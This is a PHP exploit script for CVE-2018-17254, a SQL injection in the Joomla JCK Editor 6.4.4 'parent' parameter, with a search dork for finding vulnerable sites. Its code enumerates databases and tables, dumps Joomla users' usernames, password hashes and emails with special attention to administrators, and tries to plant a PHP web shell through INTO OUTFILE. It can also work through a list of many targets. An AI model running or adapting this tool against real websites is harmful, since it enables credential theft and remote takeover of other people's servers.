# Exploit Title: Joomla JCK Editor 6.4.4 - 'parent' SQL Injection (2) # Googke Dork: inurl:/plugins/editors/jckeditor/plugins/jtreelink/ # Date: 05/03/2021 # Exploit Author: Nicholas Ferreira # Vendor Homepage: http://docs.arkextensions.com/downloads/jck-editor # Version: 6.4.4 # Tested on: Debian 10 # CVE : CVE-2018-17254 # PHP version (exploit): 7.3.27 # POC: /plugins/editors/jckeditor/plugins/jtreelink/dialogs/links.php?extension=menu&view=menu&parent="%20UNION%20SELECT%20NULL,NULL,@@version,NULL,NULL,NULL,NULL,NULL--%20aa <?php $vuln_file = '/editors/jckeditor/plugins/jtreelink/dialogs/links.php'; function payload($str1, $str2=""){ return '?extension=menu&view=menu&parent="%20UNION%20SELECT%20NULL,NULL,'.$str1.',NULL,NULL,NULL,NULL,NULL'.$str2.'--%20aa'; #" } function get_request($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); #curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:8080"); $output = curl_exec($ch); curl_close($ch); return $output; } function parse_columns($columns){ $parsed_columns = array(); foreach($columns as $col){ array_push($parsed_columns, $col); array_push($parsed_columns, "0x242324"); //delimiter = $#$ } return $parsed_columns; } function inject($url, $payload){ global $vuln_file; $request = get_request($url.$vuln_file.$payload); preg_match_all('/url ="(.*)">/', $request, $output); return $output; } ###### function is_vulnerable($url){ global $vuln_file; $output = inject($url, payload("0x6861636b6564")); if(isset($output[1][0])){ if(base64_encode($output[1][0]) == "aGFja2Vk"){ //checking if we can inject return 1; } } return 0; } function get_db_names($url){ global $vuln_file; $db_names = array(); $output = inject($url, payload("schema_name", "%20from%20information_schema.schemata")); foreach($output[1] as $db){ array_push($db_names, $db); } return $db_names; } function get_table_names($url, $db){ global $vuln_file; $table_names = array(); $output = inject($url, payload("table_name", "%20from%20information_schema.tables%20WHERE%20table_schema=%27".$db."%27")); foreach($output as $table){ array_push($table_names, $table); } return $table_names; } function get_column_names($url, $table){ global $vuln_file; $column_names = array(); $output = inject($url, payload("column_name", "%20from%20information_schema.columns%20WHERE%20table_name=%27".$table."%27")); foreach($output as $column){ array_push($column_names, $column); } return $column_names; } function dump_columns($url, $columns, $dbname, $table){ global $vuln_file; $column_dump = array(); $related_arr = array(); $data = array(); $output = inject($url, payload("concat(".implode(',', parse_columns($columns)).")", "%20from%20".$dbname.".".$table)); foreach($output[1] as $column){ $exploded = explode("$#$", $column); array_push($data, $exploded); } foreach($data as $user_info){ array_pop($user_info); array_push($related_arr, array_combine($columns, $user_info)); } return $related_arr; } function rce($url){ //probably won't work =( global $vuln_file; if(!is_vulnerable($url)){ die(red("[-] Target isn't vulnerable.")); } $server_root = array("/var/www/", "/var/www/html/", "/usr/local/apache2/htdocs/", "/var/www/nginx-default/", "/srv/www/", "/usr/local/apache2/htdocs/"); $rand_content = "AklOGg8kJ7GfbIuBYfDS2apD4L2vADk8QgODUg2OmDNy2"; $payl0ad = "'<?php system(\$_GET[0]); ?> ".$rand_content."'"; $filename = rand(1000, 7359).".php"; echo cyan("[i]")." Trying to upload a RCE shell...\n"; foreach($server_root as $path){ inject($url, payload($payl0ad, " INTO OUTFILE '".$path.$filename."'")); } $get_shell = get_request($url."/".$filename); if(strpos($get_shell, $rand_content) !== false){ echo green("[+] RCE shell successfully uploaded! =)\n"); die("Usage: ".$url."/".$filename."?0=whoami\n"); }else{ echo(red("[-] ")."Could not upload RCE shell. Maybe stacked queries are not supported. =(\n"); die(cyan("[i] ")."But you can still inject SQL commands! What about dumping the users table? =)\n"); } } function read_file($url, $file){ global $vuln_file; } ############ function green($str){ return "\e[92m".$str."\e[0m"; } function red($str){ return "\e[91m".$str."\e[0m"; } function yellow($str){ return "\e[93m".$str."\e[0m"; } function cyan($str){ return "\e[96m".$str."\e[0m"; } function banner(){ echo " ___ _____ _ __ _____ |_ |/ __ \| | / /| _ \ | || / \/| |/ / | | | | _ _ _ __ ___ _ __ ___ _ _ | || | | \ | | | || | | || '_ ` _ \ | '_ \ / _ \| '__| /\__/ /| \__/\| |\ \| |/ / | |_| || | | | | || |_) || __/| | \____/ \____/\_| \_/|___/ \__,_||_| |_| |_|| .__/ \___||_| ".green("Coder: ").yellow("Nicholas Ferreira")." | | |_| "; } $target = 0; $rce = 0; function check(){ global $argv; global $argc; global $target; global $rce; global $target_list; global $save_output; global $verbose; global $less; global $specified_db; $short_args = "u:t:v::h::l::r::d::"; $long_args = array("url:","targets::","verbose::","help::","less::","rce::", "db::"); $options = getopt($short_args, $long_args); if(isset($options['h']) || $argc == 1 || isset($options['help'])){ echo "JCK Editor v6.4.4 SQL Injection exploit (CVE-2018-17254) Usage: php ".$argv[0]." -u url [-h] [-v] [-l] [-o] [-r command] [-f list_of_targets] [-d db] -u, --url: Path to Joomla! plugins (e.g. website.com/site/plugins/) -h, --help: Help -v, --verbose: Verbose mode (print tables) -l, --less: Less outputs (only Administrator usernames and passwords) -t, --targets: Load a list of targets -r, --rce: Try to upload a RCE shell -d, --db: Specifies the DB to dump "; } if(isset($options['u'])){ $target = $options['u']; }elseif(isset($options['url'])){ $target = $options['url']; }else{ $target = ""; } isset($options['v']) || isset($options['verbose']) ? $verbose = 1 : $verbose = 0; isset($options['l']) || isset($options['less']) ? $less = 1 : $less = 0; isset($options['r']) || isset($options['rce']) ? $rce = 1 : $rce = 0; isset($options['f']) ? $target_list = $options['f'] : $target_list = 0; if(isset($options['t'])){ $target_list = $options['t']; }elseif(isset($options['targets'])){ $target_list = $options['targets']; }else{ $target_list = 0; } if(isset($options['d'])){ $specified_db = $options['d']; }elseif(isset($options['db'])){ $specified_db = $options['db']; }else{ $specified_db = 0; } if(strlen($target_list) < 2){ if($target !== ""){ // check if URL is ok if(!preg_match('/^((https?:\/\/)|(www\.)|(.*))([a-z0-9-].?)+(:[0-9]+)?(\/.*)?$/', $target)){ die(red("[i] The target must be a URL.\n")); } if(strpos($target, "plugins") == false){ die(red("[-] You must provide the Joomla! plugins path! (standard: exemple.com/plugins/)\n")); } }else{ die(cyan("[-] ")."You can get help with -h.\n"); } } if($target_list !== 0){ //check if target list is readable if(!file_exists($target_list)){ die(red("[-] ")."Could not read target list file.\n"); } } } function exploit($url){ // returns users and passwords global $vuln_file; global $verbose; global $rce; global $specified_db; global $less; echo cyan("\n=========================| ".str_replace("plugins", "", $url)." |=========================\n\n\n"); echo cyan("[+] ")."Checking if target is vulnerable...\n"; if (is_vulnerable($url)){ $main_db = inject($url, payload("database()"))[1]; $user_table = ""; $hostname = inject($url, payload("@@hostname"))[1]; $mysql_user = inject($url, payload("user()"))[1]; $mysql_version = inject($url, payload("@@version"))[1]; $connection_id = inject($url, payload("connection_id()"))[1]; echo green("[+] Target is vulnerable! =)\n\n"); echo cyan("[i] ")."Hostname: ".yellow($hostname[0])."\n"; echo cyan("[i] ")."Current database: ".yellow($main_db[0])."\n"; echo cyan("[i] ")."MySQL version: ".yellow($mysql_version[0])."\n"; echo cyan("[i] ")."MySQL user: ".yellow($mysql_user[0])."\n"; echo cyan("[i] ")."Connection ID: ".yellow($connection_id[0])."\n\n"; if($rce){ rce($url); } echo cyan("[+] ")."Getting DB names...\n"; $dbs = get_db_names($url); if(count($dbs) == 0){ echo("[-] There are no DBs available on this target. =(\n"); } $db_list = array(); foreach($dbs as $db){ $num_table = count(get_table_names($url, $db)[1]); echo green("[+] DB found: ").cyan($db." [".$num_table." tables]")."\n"; array_push($db_list, $db); } if($main_db == "" && !$specified_db){ echo(red("[-] Could not find Joomla! default DB. Try to dump another DB with -d. \n")); } if($specified_db !== 0){ // if user doesn't specify a custom db echo cyan("\n[+] ")."Getting tables from ".yellow($specified_db)."...\n"; $tables = get_table_names($url, $specified_db); }else{ foreach($db_list as $new_db){ if($new_db !== "test" && strlen(strpos($new_db, "information_schema") !== false) == 0){ // neither test nor i_schema echo cyan("\n[+] ")."Getting tables from ".yellow($new_db)."...\n"; $tables = get_table_names($url, $new_db); } } } echo cyan("[+] ").yellow(count($tables[1]))." tables found! \n"; if(count($tables[1]) == 0){ echo(red("[-] "."Site is vulnerable, but no tables were found on this DB. Try to dump another DB with -d. \n")); } foreach($tables[1] as $table){ if($verbose) echo $table."\n"; if(strpos($table, "_users") !== false){ $user_table = $table; } } if($user_table == ""){ echo(red("[-] Could not find Joomla default users table. Try to find it manually!\n")); } echo cyan("[+] ")."Getting columns from ".yellow($user_table)."...\n"; $columns = get_column_names($url, $user_table); if(count($columns) == 0){ echo(red("[-] There are no columns on this table... =(\n")); } if($verbose){ echo cyan("[+] ")."Columns found:\n"; foreach($columns[1] as $coll){ echo $coll."\n"; } } echo cyan("[+] ")."Dumping usernames from ".yellow($user_table)."...\n"; $dump = dump_columns($url, array("id","usertype", "name","username","password","email","lastvisitDate"), $db, $user_table); if(is_array($dump) && count($dump) == 0){ $new_dump = dump_columns($url, array("id","name","username","password","email","lastvisitDate"), $db, $user_table); if(count($new_dump) == 0){ echo(red("[-] This table is empty! =(\n")); }else{ $dump = $new_dump; $usertype = 0; } }else{ $usertype = 1; } echo cyan("\n[+] ")."Retrieved data:\n"; foreach($dump as $user){ if($usertype){ $adm = strpos($user['usertype'], 'Administrator') !== false; }else{ $adm = false; } if($less){ if(strpos($user['usertype'], "Administrator") !== false){ echo "\n=============== ".green($user['username'])." ===============\n"; foreach($user as $key => $data){ if(strlen($data) > 0){ if($key == "username" || $key == "password" || $adm){ echo($key.": ".red($data)."\n"); }else{ echo($key.": ".$data."\n"); } } } } }else{ echo "\n=============== ".green($user['username'])." ===============\n"; foreach($user as $key => $data){ if(strlen($data) > 0){ if($key == "username" || $key == "password" || $adm){ echo($key.": ".red($data)."\n"); }else{ echo($key.": ".$data."\n"); } } } } } echo(green("\nExploit completed! =)\n\n\n")); }else{ echo(red("[-] Apparently, the provided target is not vulnerable. =(\n\n")); echo(cyan("[i] ")."This may be a connectivity issue. If you're persistent, you can try again.\n"); } } banner(); check(); if(strlen($target_list) >1){ $targets = explode(PHP_EOL, file_get_contents($target_list)); //split by newline foreach($targets as $website){ if($rce){ rce($target); }else{ if(strlen($website) > 1){ exploit($website); //multiple targets } } } }else{ exploit($target); //single target } ?>